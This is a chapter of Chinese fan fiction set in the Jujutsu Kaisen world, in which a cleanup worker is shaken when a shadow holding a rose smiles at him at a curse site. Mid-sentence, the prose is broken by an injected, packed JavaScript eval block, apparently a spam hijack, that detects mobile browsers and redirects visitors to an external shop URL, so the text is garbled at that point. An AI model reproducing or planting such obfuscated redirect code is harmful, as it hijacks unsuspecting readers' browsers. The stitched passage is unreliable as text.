假期结束回到工作岗位时,藤原前辈盯着我看了很久。“脸色还是不好。”他最终说,“但眼神比之前清醒了点。行吧,先处理文书工作,现场任务暂时不安排。”
我点头。这已经是最好的结果,至少我回到了日常的轨道上。
昭对我的回归也很开心。“哥哥终于看起来像哥哥了。”她这么说,虽然我知道自己眼下的黑眼圈依然明显,但至少不再像游魂一样在街上游荡。
至于甚尔,我的让步似乎真的被昭解读成了友善的信号。她开始更自然地提起他:“今天甚尔先生来便利店,买了新出的能量饮料”、“甚尔先生说昭做的便当看起来不错”、“甚尔先生教了昭一个更实用的防身技巧”……
每次听到这些,我的心都会收紧。但我强迫自己保持平静,只是淡淡地回应:“是吗?”“那挺好。”“注意安全。”
昭没有察觉我的复杂情绪,她沉浸在“哥哥终于不反对我和甚尔先生做朋友了”的喜悦里。偶尔她会小心翼翼地问:“哥哥不讨厌甚尔先生了吧?”
“不讨厌。”我说的是实话。我无法讨厌一个救过我命的人,即使那个人让我感到前所未有的威胁。
而甚尔,他确实没有做任何出格的事。依旧每周出现在便利店两三次,依旧和昭保持那种不远不近的距离,依旧用他那套毒舌但实用的方式教昭一些东西。有时我去接昭,会看见他们隔着收银台说话,甚尔的表情依旧平淡,但眼神落在昭脸上时,会有一种……我说不清的专注。
就像在欣赏一件易碎的艺术品,既想靠近,又怕碰坏。
这种矛盾感让我稍微放下一点心。至少,甚尔是克制的。至少,他尊重了昭的边界,或者说,他尊重了我的底线。
日子就这样在表面的平静下流淌。我处理堆积如山的报告,昭准备升学考试,甚尔偶尔出现又消失。诅咒的梦境没有再出现,虽然睡眠依旧很浅,时常在深夜惊醒,但至少不再有那些诡异的画面。
我以为一切在慢慢好转。
直到那个冬天的雨夜。
任务通知来得突然。晚上九点,手机震动,藤原前辈的声音在雨声背景里显得模糊:“新宿,歌舞伎町附近的小巷,二级诅咒,已经派咒术师过去了,你们去善后。”
我穿上雨衣出门时,昭还在书房复习。她抬头看我:“哥哥要出去?”
“嗯,工作。”我尽量让声音平稳,“早点睡,别等我。”
“注意安全。”她说,眼睛里有担忧,但没多问。
雨下得很大。冬天的雨冰冷刺骨,打在雨衣上噼啪作响。新宿的夜晚在雨幕中扭曲成一片流动的光斑,霓虹灯在水洼里碎裂成千万个倒影。
现场比预想的更糟。
小巷深处,一栋老旧公寓的侧面墙壁上,布满了黑色的、蠕动的纹路,像血管,又像某种植物的根系。纹路从地面一直蔓延到三楼的一扇窗户,窗户玻璃碎了,里面黑漆漆的,什么也看不见。
咒术师已经到了。是个年轻人,看起来不到二十岁,穿着咒术高专的制服,脸上带着明显的不耐烦。“怎么现在才来?”他瞥了我们一眼,“快点处理完,我还要赶下一场。”
藤原前辈没理他,开始指挥我们设置警戒线、疏散周边居民、准备善后器材。我负责记录现场情况,相机在雨水中发出沉闷的快门声。
诅咒的气息很浓。不是那种暴戾的、充满攻击性的气息,而是更阴冷的、粘稠的,像湿透的棉被压在胸口,让人喘不过气。
年轻咒术师开始祓除。他的术式是某种火焰。蓝色的、冰冷的火焰,接触到黑色纹路的瞬间,纹路像活物一样抽搐、萎缩,发出细微的嘶嘶声。
过程很顺利。十分钟后,墙壁上的纹路全部消失,只剩下被火焰灼烧过的焦黑痕迹。咒术师收起手势,擦了擦额头的汗,不过我更感觉是雨水。
“解决了。”他说,“剩下的交给你们。”他转身要走。就在这时,异变发生了。
不是来自墙壁,不是来自公寓,是来自……地面。
雨水积成的水洼里,黑色的影子慢慢浮起。不是平面的影子,是立体的、有厚度的,像一个人从水里慢慢站起来。
它没有五官,没有细节,只是一个模糊的人形轮廓。但它的手里,拿着一朵花。
一朵普通的、鲜红的玫瑰花。花瓣在雨水中微微颤抖,颜色鲜艳得刺眼,与周围阴暗的环境格格不入。
所有人都愣住了。包括那个正要离开的年轻咒术师。“什么东西……”他喃喃道。
人形影子转向我们。它没有眼睛,但我觉得它在“看”。看咒术师,看藤原前辈,看其他同事,最后……看向我。
然后它抬起那只拿着玫瑰花的手,朝我招了招。
动作很轻,很自然,像在打招呼。
紧接着,它的脸上,如果那能称为脸的话,裂开了一道弧线。不是嘴巴,不是笑容,只是一道向上弯曲的裂缝。
它在笑。
对我笑。
时间在那一刻凝固了。雨声、同事的呼吸声、远处街道的车流声,全部消失了。我的世界里只剩下那个影子,那朵玫瑰,那个笑容。
我想动,但身体像被冻住。我想喊,但喉咙发不出声音。我只能看着,看着影子又招了招手,然后慢慢下沉,沉回水洼里,消失不见。
但那朵玫瑰却随着风,有目的的飘到我的身边,最后尖刺划过我的脸,留下一丝痕迹。血顺着我的脸庞轮廓滴落下去,玫瑰落在地上沾上泥水。
“伏黑!”
藤原前辈的声音像从很远的地方传来。我猛地回过神,发现自己在发抖。不是冷的,是别的什么。
“你看见了?”藤原抓住我的肩膀,力道很大,“你看见了对不对?”我张了张嘴,发不出声音,只能点头。
“操。”藤原骂了一句,转头看向那个年轻咒术师,“你不是说解决了吗?”咒术师的脸色很难看:“我确实祓除了诅咒!那个影子……那个影子不是诅咒!”
“那是什么?!”
“我不知道!”他吼回来,“我什么都没感觉到!没有咒力波动,没有残秽,什么都没有!”
争吵声在雨夜里回荡。其他同事茫然地看着我们,不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439979|200975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道发生了什么。只有我知道,只有我和藤原前辈知道。
那个影子,那朵玫瑰,那个笑容......它是冲我来的。
“收队。”藤原最终说,声音疲惫,“今晚的事,全部保密。报告我来写。”
回程的车上,没人说话。雨刷在挡风玻璃上规律地摆动,发出单调的刮擦声。我坐在后排,看着窗外飞逝的街景,脑子里全是那个影子的画面。
它在对我笑。
它在对我招手。
它拿着一朵玫瑰。
为什么是玫瑰?为什么是花?诅咒会拿花吗?会做出那么……那么像人的动作吗?
“伏黑。”藤原在前排开口,没回头,“回去好好休息。明天……明天我们谈谈。”
我知道他要谈什么。关于那个影子,关于为什么只有我们看见了,关于它为什么针对我。但我现在不想谈。我现在只想回家,只想看见昭,只想确认她还安全。
到家时已经凌晨一点。雨还在下,我站在公寓楼下,抬头看我们家的窗户。灯还亮着,昭还没睡。
我深吸一口气,强迫自己平静下来,然后上楼。
推开门,昭果然还在客厅。她坐在沙发上,抱着靠垫,面前摊着课本,但眼睛已经快闭上了。听见开门声,她猛地惊醒。
“哥哥!”她站起来,“你回来了……啊,全身都湿了。”
“怎么还没睡?”我问,声音尽量正常。
“想等哥哥回来。”她走过来,接过我滴水的雨衣,“昭去拿毛巾。”
她跑进浴室,我站在玄关,看着客厅温暖的灯光,看着茶几上摊开的课本,看着沙发上她刚才坐出的凹陷。
这个家,这个平凡、温暖、充满生活气息的家,是我用尽全力守护的净土。而现在,那个影子来了。带着玫瑰和笑容,跨过了我设下的所有防线,直接出现在我面前。
它仿佛在告诉我:你守不住。
“哥哥?”昭拿着毛巾回来,担忧地看着我,“你的脸色好白……不舒服吗?”我接过毛巾,擦了擦脸。毛巾是温的,带着阳光晒过的味道,“没事。”我说,“只是淋了雨,有点冷。”
“那昭去放洗澡水。”她说着就要往浴室走。
“昭。”我叫住她。
她回头:“嗯?”
我看着她。我最爱的妹妹,穿着睡衣,头发有些乱,眼睛因为困倦而湿润。她那么普通,那么真实,那么……不该被任何黑暗触碰。
“怎么了,哥哥?”她歪着头问。
“……没什么。”我最终说,“快去睡吧,明天还要上学。”
“可是哥哥?”
“哥哥没事。”我挤出一个笑容,“真的。”
她犹豫了一下,还是点点头:“那哥哥洗完澡也早点睡。”
“好。”
她回房间了。我站在客厅里,听着浴室里放水的声音,听着窗外淅淅沥沥的雨声,脑子里那个影子的笑容越来越清晰。
它在对我笑。
它在说:我找到你了。
我闭上眼。
完了。